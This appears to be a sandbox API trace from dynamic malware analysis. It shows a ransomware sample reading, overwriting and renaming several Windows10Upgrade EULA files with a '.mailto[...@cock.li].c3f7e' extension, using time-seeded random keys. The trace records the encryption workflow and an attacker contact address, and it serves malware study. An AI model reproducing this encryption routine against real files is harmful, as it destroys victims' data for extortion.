	[0088.146] RtlRandom (in: Seed=0x2b13fcc0 | out: Seed=0x2b13fcc0) returned 0x58955cf0
	[0088.146] RtlRandom (in: Seed=0x2b13fcc0 | out: Seed=0x2b13fcc0) returned 0xcbddc04
	[0088.146] RtlRandom (in: Seed=0x2b13fcc0 | out: Seed=0x2b13fcc0) returned 0x753e4c35
	[0088.147] RtlRandom (in: Seed=0x2b13fcc0 | out: Seed=0x2b13fcc0) returned 0x8bb7b1b4
	[0088.147] RtlRandom (in: Seed=0x2b13fcc0 | out: Seed=0x2b13fcc0) returned 0x5d2a6ace
	[0088.157] SetFilePointerEx (in: hFile=0x1b58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.157] ReadFile (in: hFile=0x1b58, lpBuffer=0x5032038, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2b13fc94, lpOverlapped=0x0 | out: lpBuffer=0x5032038*, lpNumberOfBytesRead=0x2b13fc94*=0xc800, lpOverlapped=0x0) returned 1
	[0088.159] SetFilePointerEx (in: hFile=0x1b58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.159] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0088.159] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0088.159] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47816c0
	[0088.159] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816c0) returned 1
	[0088.160] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4eeb010
	[0088.160] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815f8
	[0088.160] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47816c0
	[0088.160] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816c0) returned 1
	[0088.160] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0088.160] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0088.160] WriteFile (in: hFile=0x1b58, lpBuffer=0x4eeb010*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2b13fc94, lpOverlapped=0x0 | out: lpBuffer=0x4eeb010*, lpNumberOfBytesWritten=0x2b13fc94*=0xc800, lpOverlapped=0x0) returned 1
	[0088.163] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4eeb010) returned 1
	[0088.163] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5032038) returned 1
	[0088.163] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x29) returned 0x2e46148
	[0088.163] SetFilePointerEx (in: hFile=0x1b58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.163] WriteFile (in: hFile=0x1b58, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x2b13fd14, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2b13fd14*=0x10d, lpOverlapped=0x0) returned 1
	[0088.167] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0088.167] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e46260) returned 1
	[0088.167] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781530) returned 1
	[0088.167] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e46148) returned 1
	[0088.167] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47815f8) returned 1
	[0088.167] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781580) returned 1
	[0088.167] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781620) returned 1
	[0088.167] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47817d8) returned 1
	[0088.167] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481ae88
	[0088.167] wcscpy (in: _Dest=0x481ae88, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fi-fi.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fi-fi.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fi-fi.htm"
	[0088.167] wcscat (in: _Dest=0x481ae88, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fi-fi.htm.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fi-fi.htm.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0088.167] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fi-fi.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2b13fccc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fi-fi.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0088.167] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47ea060
	[0088.168] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea060) returned 1
	[0088.168] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2d860) returned 1
	[0088.168] NtQueryInformationFile (in: FileHandle=0x1b58, IoStatusBlock=0x2b13fcd8, FileInformation=0x2b13fcb0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2b13fcd8, FileInformation=0x2b13fcb0) returned 0x0
	[0088.168] NtSetInformationFile (FileHandle=0x1b58, IoStatusBlock=0x2b13fcd8, FileInformation=0x2b13fcb0, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0088.170] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ae88) returned 1
	[0088.170] FlushFileBuffers (hFile=0x1b58) returned 1
	[0093.251] CloseHandle (hObject=0x1b58) 

Thread:
	id = 1242
	os_tid = 0x1fd4

	[0088.170] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-ca.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fr-ca.htm")) returned 0x20
	[0088.171] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-ca.htm", dwFileAttributes=0x20) returned 1
	[0088.171] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-ca.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fr-ca.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b5c
	[0088.171] GetFileSizeEx (in: hFile=0x1b5c, lpFileSize=0x2b1bf7c0 | out: lpFileSize=0x2b1bf7c0*=69386) returned 1
	[0088.171] SetFilePointerEx (in: hFile=0x1b5c, liDistanceToMove=0x10f06, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.171] ReadFile (in: hFile=0x1b5c, lpBuffer=0x2b1bf744, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b1bf740, lpOverlapped=0x0 | out: lpBuffer=0x2b1bf744*, lpNumberOfBytesRead=0x2b1bf740*=0x4, lpOverlapped=0x0) returned 1
	[0088.172] SetFilePointerEx (in: hFile=0x1b5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.172] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815f8
	[0088.172] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781508
	[0088.172] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781558
	[0088.172] NtQuerySystemTime (in: CurrentTime=0x2b1bf720 | out: CurrentTime=0x2b1bf720*=132251868149131755) returned 0x0
	[0088.173] RtlRandom (in: Seed=0x2b1bf72c | out: Seed=0x2b1bf72c) returned 0xc0e6c4b9
	[0088.173] RtlRandom (in: Seed=0x2b1bf72c | out: Seed=0x2b1bf72c) returned 0x255716cc
	[0088.173] RtlRandom (in: Seed=0x2b1bf72c | out: Seed=0x2b1bf72c) returned 0x3dd0306b
	[0088.173] RtlRandom (in: Seed=0x2b1bf72c | out: Seed=0x2b1bf72c) returned 0xf3f188d4
	[0088.173] RtlRandom (in: Seed=0x2b1bf72c | out: Seed=0x2b1bf72c) returned 0xd3dc5e52
	[0088.173] RtlRandom (in: Seed=0x2b1bf72c | out: Seed=0x2b1bf72c) returned 0xf08debfb
	[0088.173] RtlRandom (in: Seed=0x2b1bf72c | out: Seed=0x2b1bf72c) returned 0x2f3c015d
	[0088.173] RtlRandom (in: Seed=0x2b1bf72c | out: Seed=0x2b1bf72c) returned 0xf4f801be
	[0088.173] RtlRandom (in: Seed=0x2b1bf72c | out: Seed=0x2b1bf72c) returned 0x8bee9a59
	[0088.173] RtlRandom (in: Seed=0x2b1bf72c | out: Seed=0x2b1bf72c) returned 0x33b17974
	[0088.173] RtlRandom (in: Seed=0x2b1bf72c | out: Seed=0x2b1bf72c) returned 0xeb993a63
	[0088.173] RtlRandom (in: Seed=0x2b1bf72c | out: Seed=0x2b1bf72c) returned 0xcccfabf
	[0088.173] RtlRandom (in: Seed=0x2b1bf72c | out: Seed=0x2b1bf72c) returned 0x1cc873f0
	[0088.173] RtlRandom (in: Seed=0x2b1bf72c | out: Seed=0x2b1bf72c) returned 0xfac38440
	[0088.173] RtlRandom (in: Seed=0x2b1bf72c | out: Seed=0x2b1bf72c) returned 0xdca69e9c
	[0088.173] RtlRandom (in: Seed=0x2b1bf72c | out: Seed=0x2b1bf72c) returned 0x8530082f
	[0088.173] RtlRandom (in: Seed=0x2b1bf72c | out: Seed=0x2b1bf72c) returned 0xa5418974
	[0088.173] RtlRandom (in: Seed=0x2b1bf72c | out: Seed=0x2b1bf72c) returned 0x79344e47
	[0088.173] RtlRandom (in: Seed=0x2b1bf72c | out: Seed=0x2b1bf72c) returned 0x3e522f09
	[0088.173] RtlRandom (in: Seed=0x2b1bf72c | out: Seed=0x2b1bf72c) returned 0xae6171e5
	[0088.173] RtlRandom (in: Seed=0x2b1bf72c | out: Seed=0x2b1bf72c) returned 0x6edc649a
	[0088.173] RtlRandom (in: Seed=0x2b1bf72c | out: Seed=0x2b1bf72c) returned 0xfc4c59c5
	[0088.173] RtlRandom (in: Seed=0x2b1bf72c | out: Seed=0x2b1bf72c) returned 0xb9b06cd1
	[0088.173] RtlRandom (in: Seed=0x2b1bf72c | out: Seed=0x2b1bf72c) returned 0x260f1b3
	[0088.173] RtlRandom (in: Seed=0x2b1bf72c | out: Seed=0x2b1bf72c) returned 0xc49a4242
	[0088.173] RtlRandom (in: Seed=0x2b1bf72c | out: Seed=0x2b1bf72c) returned 0x80402691
	[0088.173] RtlRandom (in: Seed=0x2b1bf72c | out: Seed=0x2b1bf72c) returned 0x1a67a67f
	[0088.173] RtlRandom (in: Seed=0x2b1bf72c | out: Seed=0x2b1bf72c) returned 0xa0d0835c
	[0088.173] RtlRandom (in: Seed=0x2b1bf72c | out: Seed=0x2b1bf72c) returned 0xaa5caf16
	[0088.173] RtlRandom (in: Seed=0x2b1bf72c | out: Seed=0x2b1bf72c) returned 0x622b987b
	[0088.173] RtlRandom (in: Seed=0x2b1bf72c | out: Seed=0x2b1bf72c) returned 0xd992217e
	[0088.173] RtlRandom (in: Seed=0x2b1bf72c | out: Seed=0x2b1bf72c) returned 0xc52ba041
	[0088.181] SetFilePointerEx (in: hFile=0x1b5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.181] ReadFile (in: hFile=0x1b5c, lpBuffer=0x4eeb010, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2b1bf700, lpOverlapped=0x0 | out: lpBuffer=0x4eeb010*, lpNumberOfBytesRead=0x2b1bf700*=0xc800, lpOverlapped=0x0) returned 1
	[0088.183] SetFilePointerEx (in: hFile=0x1b5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.183] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0088.183] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0088.183] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47816c0
	[0088.183] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816c0) returned 1
	[0088.183] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f48918
	[0088.184] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781558
	[0088.184] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781580
	[0088.184] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781580) returned 1
	[0088.184] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0088.184] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0088.184] WriteFile (in: hFile=0x1b5c, lpBuffer=0x4f48918*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2b1bf700, lpOverlapped=0x0 | out: lpBuffer=0x4f48918*, lpNumberOfBytesWritten=0x2b1bf700*=0xc800, lpOverlapped=0x0) returned 1
	[0093.162] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f48918) returned 1
	[0093.162] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4eeb010) returned 1
	[0093.162] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x29) returned 0x5059290
	[0093.162] SetFilePointerEx (in: hFile=0x1b5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.162] WriteFile (hFile=0x1b5c, lpBuffer=0x4790dc0, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x2b1bf780, lpOverlapped=0x0) 

Thread:
	id = 1243
	os_tid = 0x1fd8

	[0088.182] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-fr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fr-fr.htm")) returned 0x20
	[0088.182] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-fr.htm", dwFileAttributes=0x20) returned 1
	[0088.186] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-fr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_fr-fr.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b60
	[0088.186] GetFileSizeEx (in: hFile=0x1b60, lpFileSize=0x2b23fec4 | out: lpFileSize=0x2b23fec4*=69386) returned 1
	[0088.186] SetFilePointerEx (in: hFile=0x1b60, liDistanceToMove=0x10f06, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.186] ReadFile (in: hFile=0x1b60, lpBuffer=0x2b23fe48, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b23fe44, lpOverlapped=0x0 | out: lpBuffer=0x2b23fe48*, lpNumberOfBytesRead=0x2b23fe44*=0x4, lpOverlapped=0x0) returned 1
	[0088.188] SetFilePointerEx (in: hFile=0x1b60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.188] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815f8
	[0088.188] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781580
	[0088.188] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815d0
	[0088.188] NtQuerySystemTime (in: CurrentTime=0x2b23fe24 | out: CurrentTime=0x2b23fe24*=132251868149288064) returned 0x0
	[0088.188] RtlRandom (in: Seed=0x2b23fe30 | out: Seed=0x2b23fe30) returned 0x6a18731c
	[0088.188] RtlRandom (in: Seed=0x2b23fe30 | out: Seed=0x2b23fe30) returned 0x235fd5f2
	[0088.188] RtlRandom (in: Seed=0x2b23fe30 | out: Seed=0x2b23fe30) returned 0x59df35ed
	[0088.188] RtlRandom (in: Seed=0x2b23fe30 | out: Seed=0x2b23fe30) returned 0xb57fa086
	[0088.188] RtlRandom (in: Seed=0x2b23fe30 | out: Seed=0x2b23fe30) returned 0x20346436
	[0088.188] RtlRandom (in: Seed=0x2b23fe30 | out: Seed=0x2b23fe30) returned 0x7fedaa01
	[0088.188] RtlRandom (in: Seed=0x2b23fe30 | out: Seed=0x2b23fe30) returned 0x5fa3c4a7
	[0088.188] RtlRandom (in: Seed=0x2b23fe30 | out: Seed=0x2b23fe30) returned 0xea0fd1a
	[0088.188] RtlRandom (in: Seed=0x2b23fe30 | out: Seed=0x2b23fe30) returned 0x5e843b61
	[0088.188] RtlRandom (in: Seed=0x2b23fe30 | out: Seed=0x2b23fe30) returned 0x8fa4e071
	[0088.188] RtlRandom (in: Seed=0x2b23fe30 | out: Seed=0x2b23fe30) returned 0x6433de08
	[0088.188] RtlRandom (in: Seed=0x2b23fe30 | out: Seed=0x2b23fe30) returned 0xc0405fa3
	[0088.188] RtlRandom (in: Seed=0x2b23fe30 | out: Seed=0x2b23fe30) returned 0x9773f97a
	[0088.188] RtlRandom (in: Seed=0x2b23fe30 | out: Seed=0x2b23fe30) returned 0x2458b29a
	[0088.188] RtlRandom (in: Seed=0x2b23fe30 | out: Seed=0x2b23fe30) returned 0x705c419
	[0088.188] RtlRandom (in: Seed=0x2b23fe30 | out: Seed=0x2b23fe30) returned 0x62e59005
	[0088.188] RtlRandom (in: Seed=0x2b23fe30 | out: Seed=0x2b23fe30) returned 0xfc0f0e3
	[0088.188] RtlRandom (in: Seed=0x2b23fe30 | out: Seed=0x2b23fe30) returned 0x7f627b75
	[0088.188] RtlRandom (in: Seed=0x2b23fe30 | out: Seed=0x2b23fe30) returned 0x87e1a6d0
	[0088.188] RtlRandom (in: Seed=0x2b23fe30 | out: Seed=0x2b23fe30) returned 0x15ca109d
	[0088.188] RtlRandom (in: Seed=0x2b23fe30 | out: Seed=0x2b23fe30) returned 0x2fa69ab8
	[0088.188] RtlRandom (in: Seed=0x2b23fe30 | out: Seed=0x2b23fe30) returned 0x86d3204f
	[0088.188] RtlRandom (in: Seed=0x2b23fe30 | out: Seed=0x2b23fe30) returned 0x16ffc0ae
	[0088.188] RtlRandom (in: Seed=0x2b23fe30 | out: Seed=0x2b23fe30) returned 0xbfc90048
	[0088.188] RtlRandom (in: Seed=0x2b23fe30 | out: Seed=0x2b23fe30) returned 0x1aa3cb42
	[0088.188] RtlRandom (in: Seed=0x2b23fe30 | out: Seed=0x2b23fe30) returned 0x95c9c62b
	[0088.188] RtlRandom (in: Seed=0x2b23fe30 | out: Seed=0x2b23fe30) returned 0x97bc8bf9
	[0088.188] RtlRandom (in: Seed=0x2b23fe30 | out: Seed=0x2b23fe30) returned 0x642b3035
	[0088.188] RtlRandom (in: Seed=0x2b23fe30 | out: Seed=0x2b23fe30) returned 0x300f10f1
	[0088.188] RtlRandom (in: Seed=0x2b23fe30 | out: Seed=0x2b23fe30) returned 0xc6a8c580
	[0088.188] RtlRandom (in: Seed=0x2b23fe30 | out: Seed=0x2b23fe30) returned 0x8e337ff
	[0088.188] RtlRandom (in: Seed=0x2b23fe30 | out: Seed=0x2b23fe30) returned 0x146d6b59
	[0088.196] SetFilePointerEx (in: hFile=0x1b60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.196] ReadFile (in: hFile=0x1b60, lpBuffer=0x5032038, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2b23fe04, lpOverlapped=0x0 | out: lpBuffer=0x5032038*, lpNumberOfBytesRead=0x2b23fe04*=0xc800, lpOverlapped=0x0) returned 1
	[0088.197] SetFilePointerEx (in: hFile=0x1b60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.198] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0088.198] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0088.198] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47816c0
	[0088.198] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816c0) returned 1
	[0088.198] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x503e840
	[0088.200] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815d0
	[0088.200] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815f8
	[0088.200] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47815f8) returned 1
	[0088.200] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0088.200] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0088.200] WriteFile (in: hFile=0x1b60, lpBuffer=0x503e840*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2b23fe04, lpOverlapped=0x0 | out: lpBuffer=0x503e840*, lpNumberOfBytesWritten=0x2b23fe04*=0xc800, lpOverlapped=0x0) returned 1
	[0088.202] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x503e840) returned 1
	[0088.202] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5032038) returned 1
	[0088.202] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x29) returned 0x47bba50
	[0088.202] SetFilePointerEx (in: hFile=0x1b60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.202] WriteFile (in: hFile=0x1b60, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x2b23fe84, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2b23fe84*=0x10d, lpOverlapped=0x0) returned 1
	[0088.204] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0088.204] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bb858) returned 1
	[0088.204] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47815f8) returned 1
	[0088.204] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bba50) returned 1
	[0088.204] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47815d0) returned 1
	[0088.205] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781580) returned 1
	[0088.205] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781620) returned 1
	[0088.205] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47817d8) returned 1
	[0088.205] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481ae88
	[0088.205] wcscpy (in: _Dest=0x481ae88, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-fr.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-fr.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-fr.htm"
	[0088.205] wcscat (in: _Dest=0x481ae88, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-fr.htm.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-fr.htm.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0088.205] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-fr.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2b23fe3c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-fr.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0088.205] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47ea060
	[0088.205] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea060) returned 1
	[0088.205] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2d860) returned 1
	[0088.205] NtQueryInformationFile (in: FileHandle=0x1b60, IoStatusBlock=0x2b23fe48, FileInformation=0x2b23fe20, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2b23fe48, FileInformation=0x2b23fe20) returned 0x0
	[0088.205] NtSetInformationFile (FileHandle=0x1b60, IoStatusBlock=0x2b23fe48, FileInformation=0x2b23fe20, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0088.206] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ae88) returned 1
	[0088.206] FlushFileBuffers (hFile=0x1b60) returned 1
	[0093.251] CloseHandle (hObject=0x1b60) 

Thread:
	id = 1244
	os_tid = 0x1fdc

	[0088.197] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_he-il.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_he-il.htm")) returned 0x20
	[0088.201] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_he-il.htm", dwFileAttributes=0x20) returned 1
	[0088.201] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_he-il.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_he-il.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b64
	[0088.201] GetFileSizeEx (in: hFile=0x1b64, lpFileSize=0x2b2bf970 | out: lpFileSize=0x2b2bf970*=864647) returned 1
	[0088.201] SetFilePointerEx (in: hFile=0x1b64, liDistanceToMove=0xd3183, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.201] ReadFile (in: hFile=0x1b64, lpBuffer=0x2b2bf8f4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b2bf8f0, lpOverlapped=0x0 | out: lpBuffer=0x2b2bf8f4*, lpNumberOfBytesRead=0x2b2bf8f0*=0x4, lpOverlapped=0x0) returned 1
	[0088.207] SetFilePointerEx (in: hFile=0x1b64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.207] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815f8
	[0088.207] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781580
	[0088.207] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815d0
	[0088.207] NtQuerySystemTime (in: CurrentTime=0x2b2bf8d0 | out: CurrentTime=0x2b2bf8d0*=132251868149444800) returned 0x0
	[0088.208] RtlRandom (in: Seed=0x2b2bf8dc | out: Seed=0x2b2bf8dc) returned 0x34a32645
